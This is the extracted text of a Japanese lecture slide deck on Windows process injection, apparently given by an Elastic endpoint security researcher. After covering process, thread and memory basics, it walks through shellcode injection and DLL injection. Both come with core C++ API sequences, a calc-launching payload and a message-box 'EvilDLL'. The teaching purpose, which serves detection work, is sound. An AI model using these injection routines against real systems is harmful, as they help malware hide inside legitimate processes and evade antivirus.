Slide 1

Slide 1 text

⼊⾨ Process Injection 中島 明⽇⾹ | Asuka Nakajima Senior Security Research Engineer @ Elastic Process Injection 101

Slide 2

Slide 2 text

whoami 中島 明⽇⾹ (なかじま あすか) シニアセキュリティリサーチエンジニア ● 所属 ○ Elastic Security (2022年11⽉⼊社) ■ Endpoint Protections Teamに所属 ■ エンドポイントセキュリティの研究開発 ● 業務内容 ○ Elastic Defend(EDR機能)を担当 ■ 特にWindows向け ○ Windowsが提供するETW (Event Tracing for Windows)という機能を活⽤して、エンドポイ ントにおける収集可能なログを拡充 ○ 要するに(振る舞い検知において)検知可能な 攻撃を増やすお仕事

Slide 3

Slide 3 text

Process Injection 101 本⽇の講義について

Slide 4

Slide 4 text

本⽇の講義: Process Injection [1/2] ● Process Injectionとは? ○ 正規のプロセスに悪意のあるコードを注⼊して実⾏する⼿法のことで、 アンチウィルスソフトなどによる検知の回避などに使われる※1 ○ MITRE ATT&CK ID: T1055 
 2024に収集した100万マルウェア検体の31%が Process Injectionを使⽤。最頻出攻撃テクニックとのこと※2 [1] https://www.picussecurity.com/resource/blog/red-report-2025-3x-rise-in-credential-theft Picus Security: Red Report 2025 [1] ※2 類似の調査を2017~2023年のマルウェアに対して⾏った学術研究[2]があり、その結果は2022年は29.1%, 2023は20.8%とのことなので上記ホワイト ペーパーもある程度信頼性は⾼いと考えられる [2] https://www.diag.uniroma1.it/delia/papers/asiaccs25.pdf ※1 権限昇格にも使えるが今回は検知回避の⽂脈で講義します

Slide 5

Slide 5 text

Process Injectionの⼤雑把なイメージ プロセス A (悪) プロセス B (正) 悪意のあるコードを挿⼊し マルウェアなど 正規プロセス(メモ帳とか) 悪意のあるコード それが実⾏されるよう操作 正規プロセスから実⾏されている為、安全なプログラムであるように⾒える 実⾏ 本⽇の講義: Process Injection [2/2]

Slide 6

Slide 6 text

● ⽬的 ○ 背景: 新たな⼿法は⽇々出現 ○ 新たな⼿法が出現しても、理解できる基礎を⾝に着ける ● 講義の流れ ○ 前提知識のおさらい ○ プロセスインジェクション基礎 ○ 各種プロセスインジェクション⼿法の紹介 ○ 検知‧痕跡の⾒つけ⽅ 講義の⽬的と流れ 例: PoolParty[3], Process Hypnosis[4]等 [3] https://github.com/SafeBreach-Labs/PoolParty [4] https://github.com/CarlosG13/Process-Hypnosis-Debugger-assisted-control-flow-hijack

Slide 7

Slide 7 text

● 前提 ○ 本講義はWindows(64bit)が前提 ○ ユーザモード側(アプリケーション側)の話に限定 ○ ある程度C/C++の基礎が分かっている前提 ● デモプログラムの開発環境 ○ Windows 11 24H2 (OS Build 26100.6725) ○ IDE: Microsoft Visual Studio Professional 2022, ver17.14.16 ○ C++17環境 ● デモプログラムの実⾏環境 (作成時点の最新のWindows11) ○ Windows 11 24H2 (OS Build 26100.6725) ○ Windows Defenderのリアルタイム検知は無効化/ EDR等もない環境
 講義の前提

Slide 8

Slide 8 text

配布ファイル⼀覧 ファイルの種別 ファイル名 講義スライド 00_講義資料.pdf Shellcode Injection 01_shellcodeinjection.cpp DLL Injection 02_dllinjection.cpp Thread Execution Hijacking 03_threadexecutionhijack.cpp APC Injection (EarlyBird) 04_apcinjection.cpp EvilDll(インジェクションに利⽤) evildll.cpp ビルド⽤のファイルや、ビルド後の実⾏ファイルはお配りしていません 01_shellcodeinjection.cppはビルド後 01_shellcodeinjection.exeになる。他も同様

Slide 9

Slide 9 text

Process Injection 101 前提知識のおさらい

Slide 10

Slide 10 text

おさらいする前提知識⼀覧 ➔ 実⾏ファイルとは何か? ➔ DLLとは何か? ➔ プロセスとは何か? ➔ スレッドとは何か? ➔ ハンドルとは何か? ➔ メモリとは何か? ➔ Windows APIとは何か? ➔ シェルコードとは何か?   Process Injectionの基礎の理解に必要な範囲をおさらい

Slide 11

Slide 11 text

実⾏ファイルとは ● ⽇常的に利⽤するソフトウェアは実⾏ファイル形式 ○ Windowsの場合PE(Portable Executable)という実⾏ファイル形式 Webブラウザ、メーラー,etc OS(イメージローダ)が実⾏ファイルを読み込んで Windows上で展開‧実⾏するための情報が格納されている ソースコード  ソフトウェア(実⾏ファイル) 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 00 00 00 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 …………………………………………………………………………… …………………………………………………………………………… ………… #include #include #include Windows.h> int main(int argc, char* argv[]) { DWORD dwPid = 0; HANDLE hProcess = NULL; -後略– ビルド

Slide 12

Slide 12 text

バイナリエディタで実⾏ファイルを開くと‧‧ DOSヘッダー 実⾏ファイルの構造(PE形式) [1/2] DOSスタブ (の途中まで)

Slide 13

Slide 13 text

展開‧実⾏に必要な情報が、構造的に配置されている 実⾏ファイルの構造(PE形式) [2/2] https://github.com/corkami/pics/blob/master/binary/pe101/pe101.pdf

Slide 14

Slide 14 text

DLLは単体で実⾏することが出来ない実⾏ファイル(PE形式) DLL (Dynamic Link Library) [1/2] 
 ● ライブラリ ○ 汎⽤性の⾼い機能群(関数群)を他のプログラム(開発者から)が利⽤可能な 形式にまとめたもの ○ プログラム本体から使えるように、紐づけ(リンク)をする必要がある ● リンク⽅法 ○ 静的リンク(Static Link): 本体の実⾏ファイルにリンク(合体) ○ 動的リンク(Dynamic Link): 実⾏時に必要なライブラリをリンク ⼀例: ⽂字列操作、数値演算 DLLはその名前の通り動的リンクを使ったライブラリ(例:kernel32.dll) C:\Windows\System32内

Slide 15

Slide 15 text

● DLLMain 
 ○ DLLにおけるmain関数 ■ BOOL APIENTRY DllMain (HMODULE hModule, 
 DWORD ul_reason_for_call, LPVOID lpReserved)
 ○ DLL読み込み(ロード)時等に実⾏される ● エクスポート関数 ○ ライブラリとして外部に提供する関数 ○ __declspec (dllexport)キーワードを使えばOK ■ 例: __declspec (dllexport) void SampleFunction(void)
 DLL (Dynamic Link Library) [2/2] 


Slide 16

Slide 16 text

DLLが提供する関数群をエクスポート関数⼀覧から取得 Visual Studio付属のdumpbinで エクスポート関数⼀覧を表⽰可能

Slide 17

Slide 17 text

プロセスとは 実⾏中のプログラムのことをさす、OSにおける処理の単位(器) 実⾏ファイルを実⾏することで、メモリ上に プログラムが展開(ロード)されて、プロセスとなる タスクマネージャーから  プロセス⼀覧が⾒れる

Slide 18

Slide 18 text

プロセスの諸要素 
 各プロセスは独⾃に以下の情報‧領域を持つ ● プロセスID (PID)と呼ばれる⼀意の識別⼦ ● 実⾏可能プログラム ● 仮想アドレス空間 ○ プロセスが利⽤するメモリ空間 ● ⼀つ以上のスレッド ○ プログラムの実⾏の主体 ● ハンドルテーブル ○ オブジェクトの参照に利⽤ ● アクセストークン ○ 実⾏するユーザやその特権の情報など プロセスA (PID:12345) スレッド プロセス(器)のイメージ 仮想アドレス空間 アクセス トークン ハンドルテーブル 実⾏可能プログラム

Slide 19

Slide 19 text

Process Explorerで簡単にプロセスの詳細情報が取得可能 ● ダウンロードサイト   https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer

Slide 20

Slide 20 text

Thread A2 スレッドの概要 [1/4] プログラムの実⾏を⾏うための、プロセス内の実⾏単位 (OSがCPUの処理時間を割り当てる時の基本単位) プロセスA CPU(4コア※) Thread A1 プロセスB Thread A2 Thread B1 Thread B2 Thread B3 ※(補足)Hyper-Threading(SMT)機能は無いものとします Thread A1 Thread B2 Thread B3 コア1 コア2 コア3 コア4

Slide 21

Slide 21 text

スレッドの概要 [2/4] プログラムの実⾏を⾏うための、プロセス内の実⾏単位 (OSがCPUの処理時間を割り当てる時の基本単位) タスクマネージャから全スレッド数が⾒れる スレッド数 6284 いや、そんな6000コアもあるCPUないよね‧‧? プロセス数 340

Slide 22

Slide 22 text

スレッドの概要 [3/4] プログラムの実⾏を⾏うための、プロセス内の実⾏単位 (OSがCPUの処理時間を割り当てる時の基本単位) プロセスA Thread A1 プロセスB Thread A2 Thread B1 Thread B2 Thread B3 CPU (コア1) Thread A1 Thread B2 Thread B3 Thread B1 Thread A1 時系列 イメージ スレッドを切り替えながら実⾏している

Slide 23

Slide 23 text

● スレッドID (TID)と呼ばれる⼀意の識別⼦ ● スタック(と呼ばれるメモリ領域) ● TLS (Thread-Local Storage) ○ スレッド固有の情報を格納するための記憶領域 ● CPUの状態に対応した⼀揃いのレジスタの内容 ○ ⼀般にスレッドコンテキストと呼ばれる ● その他にもAPCキューや、優先順位度やアフィニティ等 スレッドの概要 [4/4] 各スレッドは独⾃に以下の情報‧領域を持つ

Slide 24

Slide 24 text

スレッドの切り替えとスレッドコンテキスト 
 CPU内では様々な情報を保持しており、スレッドの切り替え時に 各スレッドに紐づくその情報(スレッドコンテキスト)を保管‧復元している CPU (コア1) Thread A1 ★ Thread B2 Thread B3 Thread B1 Thread A1 時系列 ★が現在CPU上で実⾏されているスレッド CPU内のレジスタ (記憶領域) RIPレジスタ : 0x00007FF7DF041000 RAXレジスタ: 0xFFFF 以下略 RIPには次実⾏すべきアドレスが格納されている

Slide 25

Slide 25 text

スレッドの切り替えとスレッドコンテキスト 
 CPU内では様々な情報を保持しており、スレッドの切り替え時に 各スレッドに紐づくその情報(スレッドコンテキスト)を保管‧復元している CPU (コア1) Thread A1 ★ Thread B2 Thread B3 Thread B1 Thread A1 時系列 ★が現在CPU上で実⾏されているスレッド CPU内のレジスタ (記憶領域) RIPレジスタ : 0x00007FF7DF041000 RAXレジスタ: 0xFFFF 以下略 RIPには次実⾏すべきアドレスが格納されている 別のスレッドに実⾏を切り替える前 に上記(スレッドコンテキスト)を保存

Slide 26

Slide 26 text

スレッドの切り替えとスレッドコンテキスト 
 CPU内では様々な情報を保持しており、スレッドの切り替え時に 各スレッドに紐づくその情報(スレッドコンテキスト)を保管‧復元している CPU (コア1) Thread A1 Thread B2★ Thread B3 Thread B1 Thread A1 時系列 ★が現在CPU上で実⾏されているスレッド CPU内のレジスタ (記憶領域) RIPレジスタ : 0x00007FFF5E0DA185 RAXレジスタ: 0xA 以下略 RIPには次実⾏すべきアドレスが格納されている Thread B2のスレッドコンテキ ストに切り替える

Slide 27

Slide 27 text

スレッドの切り替えとスレッドコンテキスト 
 CPU内では様々な情報を保持しており、スレッドの切り替え時に 各スレッドに紐づくその情報(スレッドコンテキスト)を保管‧復元している CPU (コア1) Thread A1 Thread B2 Thread B3 Thread B1 Thread A1★ 時系列 ★が現在CPU上で実⾏されているスレッド CPU内のレジスタ (記憶領域) RIPレジスタ : 0x00007FF7DF041000 RAXレジスタ: 0xFFFF 以下略 RIPには次実⾏すべきアドレスが格納されている 保存していたThread A1の スレッドコンテキストに戻す

Slide 28

Slide 28 text

その他スレッドについて補足 
 ● ⼀つのプロセスには1個以上のスレッドを持つ ○ 最初に作成されるスレッドをメインスレッド、またはプラ イマリスレッドと呼ぶ ● スレッドには「状態」がある(以下抜粋) ○ 実⾏中(Running): CPU上で現在実⾏されている状態 ○ 準備完了(Ready): 実⾏待ち状態 ○ 待機(Waiting): 何らかのイベント発⽣を待っている状態

Slide 29

Slide 29 text

プロセス毎のスレッド⼀覧の詳細はProcess Explorerでも⾒れる  Notepad.exeが持つスレッド⼀覧の詳細

Slide 30

Slide 30 text

オブジェクトとハンドル 
 ● Windows上のリソースはオブジェクトで表現される ○ リソース: プロセス、スレッド、ファイル等※ ○ オブジェクト: 構造体で表され、実体はOS側が管理 ■ そのためアプリ側からオブジェクトを直接操作する事が出来ない ● オブジェクトを操作する為にハンドルがある ○ ハンドルはオブジェクトを識別‧操作するための識別⼦(整数値) ○ ハンドルテーブル上で、識別⼦と実際のオブジェクトの紐づけを している ※オブジェクトにも様々な種類があるが、ここではエグゼクティブオブジェクトの話をしている

Slide 31

Slide 31 text

プロセス毎のハンドル⼀覧の詳細はProcess Explorerでも⾒れる

Slide 32

Slide 32 text

メモリとは プログラムやデータを保持するためのもので、コンピュータの”作業机” 物理メモリで32GB! タスクマネージャから積んでるメモリが⾒れる  物理メモリ

Slide 33

Slide 33 text

64bitプロセスのメモリ空間 64bitプロセスのアドレス領域レイアウト (Windows8.1以降) いや、そんなTBもメモリ積んで無かったよね‧‧? 128TB カーネル空間 (未使⽤空間) 128TB ユーザ空間 0xFFFFFFFF'FFFFFFFF 0x00000000'00000000 ⾼位アドレス 低位アドレス 合計 256TB 0xFFFF8000'00000000 0x000007FF'FFFFFFFF

Slide 34

Slide 34 text

仮想メモリ (Virtual Memory) 物理的なアドレスとは別に仮想的なアドレスを 割り当てて管理するメモリ管理⽅式の⼀種 プロセス Aの仮想アドレス空間 物理メモリ空間 
 補助記憶装置 
 (HDD/SSD) 
 プロセスからは連続した アドレス領域を持っているように⾒える 実際の物理メモリ空間よりも多くのメモリが使えるように⾒える

Slide 35

Slide 35 text

プロセスA(例:notepad.exe) 仮想アドレス空間 プロセスB(例: slack.exe) 仮想アドレス空間
 物理メモリ空間 
 補助記憶装置 
 (HDD/SSD) 
 仮想メモリのイメージ 


Slide 36

Slide 36 text

補⾜: 仮想アドレス空間とDLL メモリの節約等のため、異なるプロセスでもDLLは共通のもの※1を使っている (= 物理メモリにマップされたDLLを、各プロセスが共有で使っている) 物理メモリ空間 プロセスA(例:notepad.exe) 仮想アドレス空間 kernel32.dll プロセスB(例: slack.exe) 仮想アドレス空間 kernel32.dll kernel32.dll※2 ※1個別に書き込みが生じた部分(プロセス固有の値になった部分)はCopy on Writeによりプライベートメモリにコピーされる ※2 kernel32.dllのようなKnownDLLsと呼ばれる DLLは、基本的に各プロセス内の仮想アドレス空間内で同じベースアドレスにロードされてる

Slide 37

Slide 37 text

仮想アドレス領域内のページ情報 仮想アドレス空間内のメモリは「ページ」という単位で管理され、 「状態」、「種類」、「アクセス保護属性」の要素を持つ ページ 1 仮想アドレス空間 ページ 2 ページ 3 ページ 4 ・ ・ ・ ページ情報例 ● 状態(state): MEM_COMMIT ● 種類(type): MEM_IMAGE ● アクセス保護属性(protection) PAGE_EXECUTE_READ ページ 5 同一属性の連続ページを ”領域(region)”と呼ぶ

Slide 38

Slide 38 text

ページの状態 ● MEM_RESERVE (予約) ○ 将来利⽤するためにあらかじめ予約された状態の仮想アドレス領域内のメ モリ(ページ) ● MEM_COMMIT (コミット済み) ○ 予約された仮想アドレス領域内のメモリ(ページ)に物理アドレスが割り 当てられた状態 ● MEM_FREE (空き) ○ 何も割り当てられていない(予約でもコミット済みでもない)状態 連続したアドレスを確保し、メモリを効率的に使う為に「予約」がある

Slide 39

Slide 39 text

● MEM_IMAGE ○ EXE/DLL などの実⾏ファイル(PE)のイメージをマップした仮想メ モリアドレス領域 ● MEM_MAPPED ○ (簡単に⾔えば)実⾏ファイル以外のファイルをマップした仮想メモリ アドレス領域 (共有メモリも含む) ● MEM_PRIVATE ○ プライベートメモリ領域。他のプロセスに共有されず、どのファイ ルにもマップされていない仮想メモリアドレス領域 ページの種類

Slide 40

Slide 40 text

ページのアクセス保護属性(⼀部抜粋) アクセス保護属性 アクセス保護属性の概説 PAGE_NOACCESS コミットされたページ領域へのすべてのアクセスを無効 にする PAGE_READONLY コミットされたページ領域への読み取り専用アクセスを有効 にする PAGE_READWRITE コミットされたページ領域への読み取り専用または読み取り /書き込みア クセスを有効 にする PAGE_WRITECOPY ファイル マッピング オブジェクトのマップされたビューへの読み取り専用ま たは書き込み時コピー アクセスを有効にする PAGE_EXECUTE コミットされたページ領域への実行アクセスを有効 にする PAGE_EXECUTE_READ コミットされたページ領域への実行または読み取り専用アクセスを有効 にする PAGE_EXECUTE_READWRITE コミットされたページ領域への実行、読み取り専用、または読み取り /書 き込みアクセスを有効 にする PAGE_EXECUTE_WRITECOPY ファイル マッピング オブジェクトのマップされたビューへの実行、読み取り 専用、または書き込み時のコピー アクセスを有効にする

Slide 41

Slide 41 text

● ダウンロードサイト https://learn.microsoft.com/en-us/sysinternals/downloads/vmmap プロセス毎の仮想メモリの詳細はVMMapで簡単に⾒れる

Slide 42

Slide 42 text

Windows API ● 例:MessageBox関数(メッセージボックスを表示)
 アプリケーション側から、Windows OSが提供する 機能を利⽤するための仕組み。関数形式で提供。 Microsoft社の公式ドキュメントを調べつつ利⽤するのが⼀般的 MessageBoxA(NULL, "test","test", MB_OK); 上記MessageBox関数を実行すると、 右のメッセージボックスが出る

Slide 43

Slide 43 text

Windows API例 : OpenProcess HANDLE OpenProcess( [in] DWORD dwDesiredAccess, [in] BOOL bInheritHandle, [in] DWORD dwProcessId ); https://learn.microsoft.com/ja-jp/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess ⼊出⼒ 引数の型 引数名 簡易説明 引数1 In (⼊⼒) DWORD 4バイト符号なし整数 dwDesiredAccess 対象のプロセスへのアクセス権 に関するオプションを指定する 引数 2 In (⼊⼒) BOOL TRUE/FALSEを表現する型 bInheritHandle ハンドルの継承オプション 引数 3 In (⼊⼒) DWORD 4バイト符号なし整数 dwProcessId 対象のプロセスのPID ドキュメントURL 指定したプロセス(PID)に対するハンドルを返してくれる関数

Slide 44

Slide 44 text

仮想メモリを割り当てる為のAPI VirtualAllocやVirtualAllocExなどがある LPVOID VirtualAllocEx( [in] HANDLE hProcess, [in, optional] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flAllocationType, [in] DWORD flProtect); 指定したプロセスの仮想アドレス空間内のメモリ領域の状態を予約、コミット、または変更 lpBuffer = VirtualAllocEx(hProcess, nullptr, dwSize,       MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 使⽤例 (以下例では割り当てられたメモリ領域のアドレスはlpBufferに) 対象プロセスのハンドル 割り当てる領域のサイズ メモリ割り当ての種類 アクセス保護属性 予約と同時にコミット & 対象ページは読み書き実⾏できる

Slide 45

Slide 45 text

シェルコード (shellcode) コンピュータ上で任意の動作を⾏わせるための機械語命令列の断⽚ ソースコード void main(){ MessageBoxANULL, “test", MB_OK; } アセンブリ push ebp mov ebp, esp sub esp, 0x10 xor ecx, ecx –以下略– 機械語命令列 これがシェルコードとなる 脆弱性を悪⽤して正規のプロセス上で任意のコードを実⾏させたい時等に利⽤ 0x55,0x89,0xe5,0x83, 0xec,0x10,0x31,0xc9, 0xf7 –以下略–

Slide 46

Slide 46 text

msfvenomを使って、シェルコードを⽣成 シェルコード⽣成プログラムを使って簡単に⽣成可能 電卓(calc.exe)が起動する シェルコード

Slide 47

Slide 47 text

Process Injection 101 プロセスインジェクション基礎 Shellcode Injection

Slide 48

Slide 48 text

Shellcode Injection 正規のプロセスに対して、⽤意したシェルコードを 注⼊して、新たなスレッド(の開始地点)として実⾏ 01_shellcodeinjection.cpp 正規プロセス: notepad.exe (PID: 18876)   悪意のあるプロセス: 01_shellcodeinjection.exe 01_shellcodeinjection.exe (今回は18877)を実⾏すると、 正規のプロセス上で電卓を起動するシェルコードが挿⼊‧実⾏される 電卓

Slide 49

Slide 49 text

Shellcode Injectionのコード 正規のプロセスに対して、⽤意したシェルコードを 注⼊して、新たなスレッド(の開始地点)として実⾏  BYTE shellcode[] = "(省略)";  // [1] 正規のプロセスのハンドルを取得  hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION |           PROCESS_CREATE_THREAD,FALSE, dwPid);  // [2] シェルコードを書き込む為のバッファ(メモリ)を、正規プロセス側に確保 lpBuffer = VirtualAllocEx(hProcess, nullptr, sizeof(shellcode),           MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);  // [3] 上記で確保したバッファにシェルコードを書き込む  WriteProcessMemory(hProcess, lpBuffer, shellcode,sizeof(shellcode), NULL));  // [4] 対象プロセスで新規にスレッドを作成する。その際、スレッドの実⾏開始点として、  // シェルコードを書き込んだバッファを指定する  CreateRemoteThread(hProcess, nullptr, 0,(LPTHREAD_START_ROUTINE)lpBuffer, nullptr, 0, nullptr); 主要なコードはたったこれだけ! 01_shellcodeinjection.cpp

Slide 50

Slide 50 text

Shellcode Injectionで利⽤する主要API 名前 説明 OpenProcess 指定したプロセスIDに対するプロセスハンドルを取得 VirtualAllocEx 指定されたプロセスの仮想アドレス空間内のメモリ領域の予約 とコミットの⼀⽅または両⽅を⾏う WriteProcessMemory 指定されたプロセスのメモリ領域にデータを書き込む CreateRemoteThread 別のプロセスの仮想アドレス空間で実⾏されるスレッドを作成

Slide 51

Slide 51 text

演習その1 01_shellcodeinjection.cpp もしくは前スライドの 抜粋版ShellcodeInjectionのコードを読んでみましょう

Slide 52

Slide 52 text

Shellcode Injectionの流れを図解(全4ステップ) Step 1: 対象のプロセスのハンドルを取得 Step 2: シェルコードを書き込むためのバッファを対象プロセス側に確保 Step 1 Step 2 プロセス A (悪) プロセス B (正) OpenProcess() プロセス A (悪) VirtualAllocEx() プロセス B (正)

Slide 53

Slide 53 text

Shellcode Injectionの流れを図解(全4ステップ) Step 1: 確保したバッファにシェルコードを書き込む Step 2: 対象プロセスに新規にスレッドを作成する Step 3 Step 4 プロセス A (悪) プロセス B (正) WriteProcessMemory() プロセス A (悪) CreateRemoteThread() プロセス B (正) Shellcode Shellcode 電卓 スレッドの実⾏開始点として、シェルコードを書き込んだバッファを指定する

Slide 54

Slide 54 text

ステップ1: 対象のプロセスのハンドルを取得 hProcess = OpenProcess(PROCESS_VM_WRITE|PROCESS_VM_OPERATION                |PROCESS_CREATE_THREAD,FALSE, dwPid); Shellcode Injection ● dwPidに⼊ったプロセスIDのプロセスのハンドル(hProcess)を取得 ○ プロセスIDはコマンドライン引数にて指定したもの ● 対象プロセスに対して、以下の権限を要求‧取得 ○ PROCESS_VM_WRITE    -> メモリへの書き込み権限 ○ PROCESS_VM_OPERATION -> メモリの操作権限 ○ PROCESS_CREATE_THREAD -> スレッドを作成する権限

Slide 55

Slide 55 text

lpBuffer = VirtualAllocEx(hProcess, nullptr, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); ステップ2: シェルコードを書き込む為のバッファ(メモリ)を対象 プロセス側に確保 Shellcode Injection ● 対象のプロセス(hProcess)にシェルコードサイズ分のメモリを確保 ○ 確保したバッファのアドレスはlpBufferという変数に格納 ○ シェルコードサイズはsizeof(shellcode)で計算 ● メモリの状態 ○ MEM_RESERVE | MEM_COMMIT ->メモリを確保 ● メモリのアクセス保護属性 ○ PAGE_EXECUTE_READWRITE -> 読み書き実⾏

Slide 56

Slide 56 text

ステップ3: 確保したバッファにシェルコードを書き込む    WriteProcessMemory(hProcess, lpBuffer, shellcode,   sizeof(shellcode), NULL)); Shellcode Injection ● 確保したバッファ(lpBuffer)にシェルコードを書き込む ○ 電卓(calc.exe)を起動するシェルコードを利⽤ ○ msfvenomを利⽤して⽣成 ● 補⾜: 各引数の概要(抜粋) ○ hProcess: 対象プロセスのハンドル ○ lpBuffer: シェルコードの為に確保したバッファのアドレス ○ shellcode: シェルコードのアドレス

Slide 57

Slide 57 text

ステップ4: 対象プロセスに新規にスレッドを作成する CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpBuffer, nullptr, 0, nullptr); Shellcode Injection ● 対象のプロセス(hProcess)で新たなスレッドを作成する ○ スレッドの開始点となる関数として、lpBufferのアドレスを渡す ○ (再掲)lpBufferには電卓を起動するシェルコードが書き込み済み ● スレッド作成と同時にシェルコードが関数として実⾏ ○ 電卓が起動する

Slide 58

Slide 58 text

補⾜1: CreateRemoteThread関数 ● デバッグ⽬的 ○ デバッガがデバッグ対象のプロセスを強制的に中断 ■ DebugBreak関数を呼び出すThreadを挿⼊ ● プロファイリング⽬的 ○ あるプロセスが他のプロセスに関する内部情報収集の為   なぜ他のプロセスで新規スレッドを作成できる仕様なのか?

Slide 59

Slide 59 text

補⾜2: プロセスの保護 (の⼀例) ● Protected Process Light ○ 実⾏中のプロセスを保護する機能 ■ Windows8.1から実装 ■ Protected Processの簡易版 ○ サードパーティー製の製品も利⽤可能 ■ アンチウィルスソフトも利⽤ 
 他のプロセスに何か挿⼊できるならば、攻撃者のやりたい放題ではないか? ただし、PPLに対してもBypass⼿法が考案‧公開されている

Slide 60

Slide 60 text

Protected Process Lightのプロセスを⾒てみる Windows Defender(MSMpEng.exe)と 弊社EDRがPPLのプロセスであることがわかる

Slide 61

Slide 61 text

Process Injection 101 様々なプロセスインジェクション⼿法の紹介 ● DLL Injection ● Thread Execution Hijacking ● APC Injection (Early Bird)

Slide 62

Slide 62 text

DLL Injection 
 02_dllinjection.cpp 正規のプロセスに対して、細⼯したDLLを ロードさせることで、任意のコードを実⾏ 正規プロセス: notepad.exe (PID: 30164) 悪意のあるプロセス: 02_dllinjection.exe 02_dllinjection.exe を実⾏すると、 正規のプロセス上で細⼯したDLLが読み込まれ、任意コードが実⾏される 細⼯したDLL: EvilDLL.dll メッセージボックスが表⽰される

Slide 63

Slide 63 text

DLL Injectionのコード 
 // [1] 正規のプロセスのハンドルを取得 hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, FALSE, dwPid); // [2] DLLパスを書き組む為のバッファを確保 lpBuffer = VirtualAllocEx(hProcess, nullptr, pathSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); // [3] 確保したバッファに⽤意したDLLのパス(EvilDLL.dll)を書き込む WriteProcessMemory(hProcess, lpBuffer, argv[2], pathSize, NULL); // [4] DLLをロードするためのLoadLibraryA関数のアドレスを取得 hKernel32 = GetModuleHandleA("kernel32.dll"); pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA"); // [5] 新しいスレッドを作成する。LoadLibraryAを実⾏して、DLL(EvilDLL.dll)読み込ませる CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)pLoadLibraryA, lpBuffer, 0, nullptr); 主要なコードはたったこれだけ! 02_dllinjection.cpp 正規のプロセスに対して、細⼯したDLLを ロードさせることで、任意のコードを実⾏

Slide 64

Slide 64 text

名前 説明 OpenProcess 指定したプロセスIDに対するプロセスハンドルを取得 VirtualAllocEx 指定されたプロセスの仮想アドレス空間内のメモリ領域の予約と コミットの⼀⽅または両⽅を⾏う WriteProcessMemory 指定されたプロセスのメモリ領域にデータを書き込む GetModuleHandleA (既に読み込み済みの) 指定されたモジュール名(DLL)のモジュー ルハンドルを取得 GetProcAddress モジュール(DLL)内の指定の関数のアドレスを取得 LoadLibraryA 指定したモジュール(DLL)を呼び出し元プロセスのアドレス空間 に読み込む CreateRemoteThread 別のプロセスの仮想アドレス空間で実⾏されるスレッドを作成 DLL Injectionで利⽤する主要API

Slide 65

Slide 65 text

今回⽤意したDLL(EvilDLL.dll) DLLがプロセスに読み込まれた時に、任意のコードを実⾏ BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call,LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBoxA(NULL, "test", "test", MB_OK); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } MessageBoxを出すだけ evildll.cpp

Slide 66

Slide 66 text

演習その2 02_dllinjection.cpp もしくは前スライドの 抜粋版DLLInjectionのコードを読んでみましょう

Slide 67

Slide 67 text

DLL Injectionの流れを図解(全5ステップ) Step 1: 対象のプロセスのハンドルを取得 Step 2: DLLのパスを書き込むためのバッファを対象プロセス側に確保 Step 1 Step 2 プロセス A (悪) プロセス B (正) OpenProcess() プロセス A (悪) VirtualAllocEx() プロセス B (正)

Slide 68

Slide 68 text

DLL Injectionの流れを図解(全5ステップ) Step 1: 確保したバッファにDLL(EvilDLL.dll)のパスを書き込む Step 2: DLLをロードするためのLoadLibraryA関数のアドレスを取得 Step 3 Step 4 プロセス A (悪) プロセス B (正) WriteProcessMemory() プロセス A (悪) GetModuleHandleA() プロセス B (正) DLL Path DLL Path GetProcAddress() kernel32.dll内のLoadLibraryA関数のアドレスを取得 kernel32.dll

Slide 69

Slide 69 text

DLL Injectionの流れを図解(全5ステップ) Step 1: 対象プロセスに新規にスレッドを作成する Step 5 プロセス A (悪) プロセス B (正) CreateRemoteThread() DLL Path EvilDLL.dll LoadLibraryA(“EvilDLL.dllのパス”)でEvilDLL.dllがプロセスに読み込まれる MessageBox スレッドの実⾏開始点として、 kernel32.dll内にあるLoadLibraryA関数を指定。 その際読み込むDLLとしては、EvilDLL.dllを指定 kernel32.dll

Slide 70

Slide 70 text

DLL Injection ステップ1: 対象のプロセスのハンドルを取得 hProcess = OpenProcess(PROCESS_VM_WRITE|PROCESS_VM_OPERATION                |PROCESS_CREATE_THREAD,FALSE, dwPid); ● dwPidに⼊ったプロセスIDのプロセスのハンドル(hProcess)を取得 ○ プロセスIDはコマンドライン引数で指定したものがdwPidに ● 対象プロセスに対して、以下の権限を要求‧取得 ○ PROCESS_VM_WRITE    -> メモリへの書き込み権限 ○ PROCESS_VM_OPERATION -> メモリの操作権限 ○ PROCESS_CREATE_THREAD -> スレッドを作成する権限

Slide 71

Slide 71 text

ステップ2: DLLのパスを書き込むためのバッファを確保 lpBuffer = VirtualAllocEx(hProcess, nullptr, pathSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); DLL Injection ● 対象プロセスにDLLパス分のサイズのバッファを確保 ○ DLLのパス分のサイズは計算済みでpathSizeに格納済み ○ 確保したバッファのアドレスはlpBufferという変数に格納 ● メモリの状態 ○ MEM_RESERVE | MEM_COMMIT -> メモリの確保 ● メモリのアクセス保護属性 ○ PAGE_READWRITE -> 読み書き

Slide 72

Slide 72 text

